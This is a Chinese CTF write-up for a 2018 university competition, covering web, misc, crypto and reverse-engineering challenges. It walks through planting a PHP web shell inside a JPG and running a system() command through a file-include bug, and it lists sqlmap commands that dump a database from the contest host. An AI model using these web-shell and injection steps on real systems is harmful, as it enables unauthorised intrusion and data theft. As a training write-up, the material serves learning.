XJNU-CTF 2018 writeup v1.0

XJNU CTF writeup  v1.0

前几天学弟说学校举办了ctf,由于有一些了解,也比较有自己的看法,因此就打算来做一做他们ctf 的题,这是做出来的一部分ctf的题,希望想要入门的朋友能够借鉴参考,了解思路和ctf中的套路。

WEB 100

打开连接之后是可以上传文件

尝试几次后发现,只能上传图片文件,而且有一个非常重要的地方就是,看下他的网址是

没有错,这是include,那么就是说可以上传图片木马了。

准备好图片,准备好木马new1.php,然后创建一个文件a.bat,里面的内容就是cmd,这样我们可以在本文夹内打开cmd窗口。

接下来双击a.bat,cmd下输入copy misc100.jpg/b+New1.php new.jpg

然后上传带有木马的new.jpg文件

这个时候就可以构造payload了

几次尝试之后可以得到

http://ctf.xjnu.edu.cn:666/index.php?file=upload/new.jpg&pass=system(%22cat%20../../../flag%22);

 

Web 20

进去之后是你不属于这里。看来ip不对,这个时候需要伪造ip,

用burn suit截获,添加

出现

把login的内容改掉

又出现

然后在qq浏览器,F12选择移动设备模式,把设备换成iPhone X

刷新,把User-Agent:的内容也改掉

返回了一个空白页,查看源代码,看到一行注释

于是到burn suit里面看返回的包,可以找到flag

 

Web10

进去之后是

很明显是sqlmap注入,测试一下

果然,于是SQlmap走起

查数据库版本

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --batch

查出是mysql数据库

查数据库

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --current-db  --batch

当前数据库是web1

查数据表

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 --tables  --batch

可以看到flag表

查看flag表的列名

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag --columns  --batch

查询列的内容,得到flag。

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag -C "flag" --dump --batch

 

 

Base10

打开之后

查看源代码

所以遮住的数字是。。。图片旋转一下,怎么样?

欧克。数字是87

取前五位

构造flag

flag{Math_is_Here_c7e12!}

 

Base20

这个,,,百度上搜一下题目先

嗯。。。。

https://www.theguardian.com/science/alexs-adventures-in-numberland/2015/apr/13/how-to-solve-albert-bernard-and-cheryls-birthday-maths-problem

 

嗯。。。。

所以

flag{Th0_Jack_Birth_Is_July_16}

 

Base30

编程题。。。这个数值比较大的话,适合python

sum=0
for num in range(0,1000000000):
       if num%3==0:
              sum+=num
       else:
              if num%5==0:
                     sum+=num
print(sum)

233333333166666668

base 40

666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d

嗯。。。http://www.bejson.com/convert/ox2str/

flag{Just_t3st_h4v3_f4n_hahaha_6666!}

 

Base 50

题目:小明常用密码是hash 是5bc76f3f319865431dcab801bbce47a1 现在 他只知道明文密码的前四位是xjnu
中间是66****88 后三位是ctf 请帮他算出 明文密码是啥
flag{明文} 

那还是直接跑python脚本吧

#coding=utf8

from hashlib import md5
from hashlib import sha1
from hashlib import sha224
from hashlib import sha384
from hashlib import sha512
import hashlib
 
#__all__ = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'new', 'algorithms_guaranteed', 'algorithms_available', 'pbkdf2_hmac')
#Python计算字符串的hash值
def hashForString(method,srcbyte):
    #将字符串和汉字转化成byte类型
    srcbyte = srcbyte.encode(encoding='utf-8')
      
    #new(name, data=b'')
    #testnew = hashlib.new(method,data=srcbyte).hexdigest()
    #print(testnew)
    
    if method == 'md5': 
        m = md5()
        m.update(srcbyte)
        srcbyte = m.hexdigest()
    elif method == 'sha1':
        s = sha1()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha224':
        s = sha224()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha384':
        s = sha384()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha512':
        s = sha512()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    return srcbyte
CSet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_-+=/*<>:;\'"[]{}|'
for num1 in CSet:
    for num2 in CSet:
        for num3 in CSet:
            for num4 in CSet:
                str1="xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf"
                #print(str1)
                if(hashForString("md5",str1)=="5bc76f3f319865431dcab801bbce47a1"):
                    print("xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf")
    print(num1)
print("完")

 

 

MISC 10

签到题,关注以后。。。发个私信

Misc 15

打开之后是

然后用notepad++打开搜一下flag,嗯。

 

Misc 20

 

Binwalk先跑一下

有两张图片。那就把5B74之前的内容用winhex删掉。也可以用foremost

但是我没有那个东西。

 

Misc30

老样子,用notepad++打开,

乱码,但是如果换一下编码的话,

Hi你来到了这里说明你很想知道答案,但是我这里只有中文,没有你想要的答案,参考马克思主义基本原理概论这本书的第三十五页第二个字到第五个字的拼音组成就是你想要的答案,骚年加油!

。。。卒

补充:最后这四个字是:去伪存真.在2018版的马克思主义原理概论这本书里才有.

 

Misc40

 

是一个word文档,里面是一些内容。

全选,加个背景色

 

然而并没有什么用。

但是。不要慌。

万能的notepad++

Misc 80

是一个二维码

扫出来没有什么有用的东西。

先用notepad++打开看一下把

拉到最后是一串数字。数字最大是7,应该是8进制,

上python脚本

#coding=utf-8
import chardet

a=b"\146\154\141\147\173\110\141\166\145\137\171\060\125\137\120\171\137\163\143\162\151\160\164\137\117\164\143\137\124\157\137\124\145\156\137\101\163\143\151\151\041\175"
#a = b"\345\260\274\345\217\244\346\213\211\346\226\257\350\265\265\345\233\233"
#判断当前字符串的格式(编码类型)
fencoding = chardet.detect(a)  

print(fencoding)
#编码类型为打印出来的fencoding编码类型
a = a.decode('utf-8')
print(a)

flag{Have_y0U_Py_script_Otc_To_Ten_Ascii!}

Re50

 

是一个入门级别的re,还是很不错的。

放到IDA里面,IDA还是强大!

查了一下汇编语言,指针的位置,放值

看来,后面的值就是flag

于是16进制解码

666c61677b52655F31735F53305F43304F4C7D

flag{Re_1s_S0_C0OL}

猜你喜欢

转载自blog.csdn.net/qq_36265860/article/details/82832398